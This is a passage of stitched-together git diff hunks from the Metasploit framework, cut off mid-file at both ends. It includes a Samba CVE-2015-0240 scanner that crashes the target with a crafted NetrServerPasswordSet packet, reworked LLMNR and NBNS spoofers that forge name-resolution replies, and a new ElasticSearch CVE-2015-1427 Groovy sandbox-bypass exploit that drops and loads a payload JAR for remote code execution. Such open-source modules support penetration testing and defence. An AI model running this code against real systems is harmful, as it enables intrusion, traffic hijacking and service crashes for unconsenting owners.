# return Exploit::CheckCode::Detected
|
||||
#
|
||||
# 2) If the canary cookie *name* is *not* in the *body*, return
|
||||
# Exploit::CheckCode::Vulnerable
|
||||
if res.body.include?(canary_value)
|
||||
if res.body.include?(canary_cookie_name)
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
else
|
||||
vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI")
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI")
|
||||
check_response_fingerprint(res, Exploit::CheckCode::Safe)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -131,11 +131,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
|
||||
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
|
||||
'updatequesChk' => 'false',
|
||||
'SelectedQuestion' => 1,
|
||||
'SelectedQuestion' => 2,
|
||||
'answer' => answers.first,
|
||||
'answer' => answers.last,
|
||||
'confirmanswer' => answers.first,
|
||||
'confirmanswer' => answers.last
|
||||
}
|
||||
)
|
||||
|
|
|
@ -0,0 +1,269 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# Aliases for common classes
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
|
||||
'Description' => %q{
|
||||
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Richard van Eeden', # Original discovery
|
||||
'sleepya', # Public PoC for the explicit check
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0240'],
|
||||
['OSVDB', '118637'],
|
||||
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
|
||||
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
|
||||
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SMBDirect' => true,
|
||||
'SMBPass' => '',
|
||||
'SMBUser' => '',
|
||||
'SMBDomain' => '',
|
||||
'DCERPC::fake_bind_multi' => false
|
||||
}
|
||||
))
|
||||
|
||||
# This is a good example of passive vs explicit check
|
||||
register_options([
|
||||
OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
|
||||
])
|
||||
|
||||
# It's either 139 or 445. The user should not touch this.
|
||||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
@smb_port || datastore['RPORT']
|
||||
end
|
||||
|
||||
|
||||
# This method is more explicit, but a major downside is it's very slow.
|
||||
# So we leave the passive one as an option.
|
||||
# Please also see #maybe_vulnerable?
|
||||
def is_vulnerable?(ip)
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
|
||||
dcerpc_bind(handle)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
|
||||
::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
||||
return false
|
||||
rescue Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidType,
|
||||
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
||||
::Rex::Proto::SMB::Exceptions::NoReply => e
|
||||
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
||||
return false
|
||||
rescue ::Exception => e
|
||||
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
||||
return false
|
||||
end
|
||||
|
||||
# NetrServerPasswordSet request packet
|
||||
stub =
|
||||
[
|
||||
0x00, # Server handle
|
||||
0x01, # Max count
|
||||
0x00, # Offset
|
||||
0x01, # Actual count
|
||||
0x00, # Account name
|
||||
0x02, # Sec Chan Type
|
||||
0x0e, # Max count
|
||||
0x00, # Offset
|
||||
0x0e # Actual count
|
||||
].pack('VVVVvvVVV')
|
||||
|
||||
stub << Rex::Text::to_unicode(ip) # Computer name
|
||||
stub << [0x00].pack('v') # Null byte terminator for the computer name
|
||||
stub << '12345678' # Credential
|
||||
stub << [0x0a].pack('V') # Timestamp
|
||||
stub << "\x00" * 16 # Padding
|
||||
|
||||
begin
|
||||
dcerpc.call(0x06, stub)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidType,
|
||||
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
||||
::Rex::Proto::SMB::Exceptions::NoReply => e
|
||||
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue ::Exception => e
|
||||
if e.to_s =~ /execution expired/i
|
||||
# So what happens here is that when you trigger the buggy code path, you hit this:
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
|
||||
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
|
||||
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
|
||||
# And then Samba will basically not talk back to you at that point. In that case,
|
||||
# you will either lose the connection, or timeout, or whatever... depending on the SMB
|
||||
# API you're using. In our case (Metasploit), it's "execution expired."
|
||||
# Samba (daemon) will stay alive, so it's all good.
|
||||
return true
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
# Returns the Samba version
|
||||
def get_samba_info
|
||||
res = ''
|
||||
begin
|
||||
res = smb_fingerprint
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
|
||||
::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
return res
|
||||
rescue Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidType,
|
||||
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
||||
::Rex::Proto::SMB::Exceptions::NoReply
|
||||
return res
|
||||
rescue ::Exception => e
|
||||
if e.to_s =~ /execution expired/
|
||||
return res
|
||||
else
|
||||
raise e
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
res['native_lm'].to_s
|
||||
end
|
||||
|
||||
|
||||
# Converts a version string into an object so we can eval it
|
||||
def version(v)
|
||||
Gem::Version.new(v)
|
||||
end
|
||||
|
||||
|
||||
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
|
||||
def maybe_vulnerable?(samba_version)
|
||||
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
|
||||
return false if v.empty?
|
||||
found_version = version(v)
|
||||
|
||||
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
|
||||
return true
|
||||
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
|
||||
return true
|
||||
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
|
||||
return true
|
||||
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Check command
|
||||
def check_host(ip)
|
||||
samba_info = ''
|
||||
smb_ports = [445, 139]
|
||||
smb_ports.each do |port|
|
||||
@smb_port = port
|
||||
samba_info = get_samba_info
|
||||
vprint_status("Samba version: #{samba_info}")
|
||||
|
||||
if samba_info !~ /^samba/i
|
||||
vprint_status("Target isn't Samba, no check will run.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if datastore['PASSIVE']
|
||||
if maybe_vulnerable?(samba_info)
|
||||
flag_vuln_host(ip, samba_info)
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
# Explicit: Actually triggers the bug
|
||||
if is_vulnerable?(ip)
|
||||
flag_vuln_host(ip, samba_info)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
# Reports to the database about a possible vulnerable host
|
||||
def flag_vuln_host(ip, samba_version)
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.name,
|
||||
:info => samba_version,
|
||||
:refs => self.references
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
peer = "#{ip}:#{rport}"
|
||||
case check_host(ip)
|
||||
when Exploit::CheckCode::Vulnerable
|
||||
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
|
||||
when Exploit::CheckCode::Appears
|
||||
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
|
||||
when Exploit::CheckCode::Detected
|
||||
print_status("#{peer} - The target appears to be running Samba.")
|
||||
else
|
||||
print_status("#{peer} - The target appears to be safe")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if datastore['LISTENER']
|
||||
@listener.kill if @listener
|
||||
GC.start()
|
||||
end
|
||||
|
||||
if capture and @spoofing and not datastore['BROADCAST']
|
||||
|
|
|
@ -139,9 +139,7 @@ attr_accessor :sock, :thread
|
|||
end
|
||||
ip_pkt.recalc
|
||||
|
||||
open_pcap
|
||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||
close_pcap
|
||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
|
@ -176,7 +174,10 @@ attr_accessor :sock, :thread
|
|||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||
|
@ -191,24 +192,28 @@ attr_accessor :sock, :thread
|
|||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 5355)
|
||||
'LocalPort' => 5355,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
||||
monitor_socket
|
||||
monitor_socket
|
||||
}
|
||||
|
||||
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
add_socket(self.sock)
|
||||
|
||||
while thread.alive?
|
||||
select(nil, nil, nil, 0.25)
|
||||
end
|
||||
|
||||
self.thread.kill
|
||||
self.sock.close rescue nil
|
||||
self.thread.join
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Name Service Spoofer',
|
||||
|
@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary
|
|||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
|
||||
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
self.thread = nil
|
||||
self.sock = nil
|
||||
end
|
||||
|
||||
def dispatch_request(packet, rhost, src_port)
|
||||
rhost = ::IPAddr.new(rhost)
|
||||
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
||||
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
||||
# on has an IPv6 address. Convert it to just the v4 addr
|
||||
if rhost.ipv4_mapped?
|
||||
rhost = rhost.native
|
||||
end
|
||||
|
||||
# Convert to string
|
||||
rhost = rhost.to_s
|
||||
|
||||
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
||||
|
||||
return if packet.length == 0
|
||||
|
||||
nbnsq_transid = packet[0..1]
|
||||
nbnsq_flags = packet[2..3]
|
||||
nbnsq_questions = packet[4..5]
|
||||
nbnsq_answerrr = packet[6..7]
|
||||
nbnsq_authorityrr = packet[8..9]
|
||||
nbnsq_additionalrr = packet[10..11]
|
||||
nbnsq_name = packet[12..45]
|
||||
decoded = ""
|
||||
nbnsq_name.slice(1..-2).each_byte do |c|
|
||||
decoded << "#{(c - 65).to_s(16)}"
|
||||
end
|
||||
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
|
||||
nbnsq_type = packet[46..47]
|
||||
nbnsq_class = packet[48..49]
|
||||
|
||||
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
|
||||
|
||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
|
||||
|
||||
if datastore['DEBUG']
|
||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
||||
print_status("questions: #{nbnsq_questions.unpack('n')}")
|
||||
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
||||
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
||||
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
||||
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
||||
print_status("full name: #{nbnsq_name.slice(1..-2)}")
|
||||
print_status("decoded: #{decoded}")
|
||||
print_status("decoded name: #{nbnsq_decodedname}")
|
||||
print_status("type: #{nbnsq_type.unpack('n')}")
|
||||
print_status("class: #{nbnsq_class.unpack('n')}")
|
||||
end
|
||||
|
||||
# time to build a response packet - Oh YEAH!
|
||||
response = nbnsq_transid +
|
||||
"\x85\x00" + # Flags = response + authoratative + recursion desired +
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
nbnsq_name + # original query name
|
||||
nbnsq_type + # Type = NB ...whatever that means
|
||||
nbnsq_class+ # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique = whatever that means
|
||||
spoof.hton
|
||||
|
||||
pkt = PacketFu::UDPPacket.new
|
||||
pkt.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
pkt.ip_daddr = rhost
|
||||
pkt.ip_ttl = 255
|
||||
pkt.udp_sport = 137
|
||||
pkt.udp_dport = src_port
|
||||
pkt.payload = response
|
||||
pkt.recalc
|
||||
|
||||
capture_sendto(pkt, rhost)
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded() # Check first since otherwise this is all for naught
|
||||
# MacOS X workaround
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
@sock = ::UDPSocket.new()
|
||||
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
|
||||
@run = true
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 137,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
add_socket(self.sock)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
|
||||
print_status("NBNS Spoofer started. Listening for NBNS requests...")
|
||||
|
||||
begin
|
||||
|
||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||
packet, addr = @sock.recvfrom(512)
|
||||
src_port = addr[1]
|
||||
rhost = addr[3]
|
||||
|
||||
break if packet.length == 0
|
||||
|
||||
nbnsq_transid = packet[0..1]
|
||||
nbnsq_flags = packet[2..3]
|
||||
nbnsq_questions = packet[4..5]
|
||||
nbnsq_answerrr = packet[6..7]
|
||||
nbnsq_authorityrr = packet[8..9]
|
||||
nbnsq_additionalrr = packet[10..11]
|
||||
nbnsq_name = packet[12..45]
|
||||
decoded = ""
|
||||
nbnsq_name.slice(1..-2).each_byte do |c|
|
||||
decoded << "#{(c - 65).to_s(16)}"
|
||||
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
|
||||
begin
|
||||
monitor_socket
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
|
||||
end
|
||||
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
|
||||
nbnsq_type = packet[46..47]
|
||||
nbnsq_class = packet[48..49]
|
||||
}
|
||||
|
||||
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
||||
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
|
||||
|
||||
if datastore['DEBUG']
|
||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
||||
print_status("questions: #{nbnsq_questions.unpack('n')}")
|
||||
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
||||
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
||||
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
||||
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
||||
print_status("full name: #{nbnsq_name.slice(1..-2)}")
|
||||
print_status("decoded: #{decoded}")
|
||||
print_status("decoded name: #{nbnsq_decodedname}")
|
||||
print_status("type: #{nbnsq_type.unpack('n')}")
|
||||
print_status("class: #{nbnsq_class.unpack('n')}")
|
||||
end
|
||||
|
||||
# time to build a response packet - Oh YEAH!
|
||||
response = nbnsq_transid +
|
||||
"\x85\x00" + # Flags = response + authoratative + recursion desired +
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
nbnsq_name + # original query name
|
||||
nbnsq_type + # Type = NB ...whatever that means
|
||||
nbnsq_class+ # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique = whet ever that means
|
||||
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
|
||||
|
||||
open_pcap
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
p.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
p.ip_daddr = rhost
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = 137
|
||||
p.udp_dport = src_port
|
||||
p.payload = response
|
||||
p.recalc
|
||||
|
||||
capture_sendto(p, rhost)
|
||||
|
||||
close_pcap
|
||||
|
||||
else
|
||||
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
|
||||
# Make sure the socket gets closed on exit
|
||||
ensure
|
||||
@sock.close
|
||||
end
|
||||
self.thread.join
|
||||
print_status("NBNS Monitor thread exited...")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -185,7 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"wan_hwaddr2" => @wan_hwaddr2_orig,
|
||||
"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
|
||||
"wan_nat" => @wan_nat_orig,
|
||||
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
|
||||
"pppoe_flet_sel" => @pppoe_flet_sel_orig,
|
||||
"pppoe_flet_type" => @pppoe_flet_type_orig,
|
||||
"pppoe_temp" => @pppoe_temp_orig,
|
||||
|
|
|
@ -100,22 +100,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def vulnerable?
|
||||
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
||||
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
||||
sum = addend_one + addend_two
|
||||
java = 'System.getProperty("java.class.path")'
|
||||
|
||||
java = java_sum([addend_one, addend_two])
|
||||
|
||||
vprint_status("#{peer} attempting to execute '#{java}' in Java")
|
||||
vprint_status("#{peer} - Trying to execute 'System.getProperty(\"java.version\")'...")
|
||||
res = execute(java)
|
||||
result = parse_result(res)
|
||||
|
||||
if result.nil?
|
||||
vprint_status("#{peer} no response to executed Java")
|
||||
vprint_status("#{peer} - No results for the Java test")
|
||||
return false
|
||||
elsif result =~ /elasticsearch/
|
||||
vprint_status("#{peer} - Answer to Java test: #{result}")
|
||||
return true
|
||||
else
|
||||
vprint_status("#{peer} response to executed Java: #{result}")
|
||||
result.to_i == sum
|
||||
vprint_status("#{peer} - Answer to Java test: #{result}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -145,10 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
result.is_a?(::Array) ? result.first : result
|
||||
end
|
||||
|
||||
def java_sum(summands)
|
||||
summands.join(' + ')
|
||||
end
|
||||
|
||||
def to_java_byte_array(str)
|
||||
buff = "byte[] buf = new byte[#{str.length}];\n"
|
||||
i = 0
|
||||
|
|
|
@ -0,0 +1,202 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
|
||||
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
|
||||
REST API, which does not require authentication, where the search function allows
|
||||
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
|
||||
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
|
||||
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Cameron Morris', # Vulnerability discovery
|
||||
'Darren Martyn', # Public Exploit
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-1427'],
|
||||
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
|
||||
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
|
||||
['URL', 'http://drops.wooyun.org/papers/5107']
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
['ElasticSearch 1.4.2', {}]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 11 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9200),
|
||||
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
result = Exploit::CheckCode::Safe
|
||||
|
||||
if vulnerable?
|
||||
result = Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Checking vulnerability...")
|
||||
unless vulnerable?
|
||||
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Discovering TEMP path...")
|
||||
res = execute(java_tmp_dir)
|
||||
tmp_dir = parse_result(res)
|
||||
if tmp_dir.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
|
||||
else
|
||||
print_good("#{peer} - TEMP path on '#{tmp_dir}'")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Discovering remote OS...")
|
||||
res = execute(java_os)
|
||||
os = parse_result(res)
|
||||
if os.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
|
||||
else
|
||||
print_good("#{peer} - Remote OS is '#{os}'")
|
||||
end
|
||||
|
||||
if os =~ /win/i
|
||||
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
|
||||
else
|
||||
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
|
||||
end
|
||||
|
||||
register_files_for_cleanup(tmp_file)
|
||||
|
||||
print_status("#{peer} - Trying to load metasploit payload...")
|
||||
java = java_load_class(os, tmp_file)
|
||||
execute(java)
|
||||
end
|
||||
|
||||
def vulnerable?
|
||||
java = 'java.lang.Math.class.forName("java.lang.Runtime")'
|
||||
|
||||
vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
|
||||
res = execute(java)
|
||||
result = parse_result(res)
|
||||
|
||||
if result.nil?
|
||||
vprint_status("#{peer} - no response to test")
|
||||
return false
|
||||
elsif result == 'class java.lang.Runtime'
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def parse_result(res)
|
||||
unless res
|
||||
vprint_error("#{peer} - No response")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body
|
||||
vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
json = JSON.parse(res.body.to_s)
|
||||
rescue JSON::ParserError
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
result = json['hits']['hits'][0]['fields']['msf_result']
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
|
||||
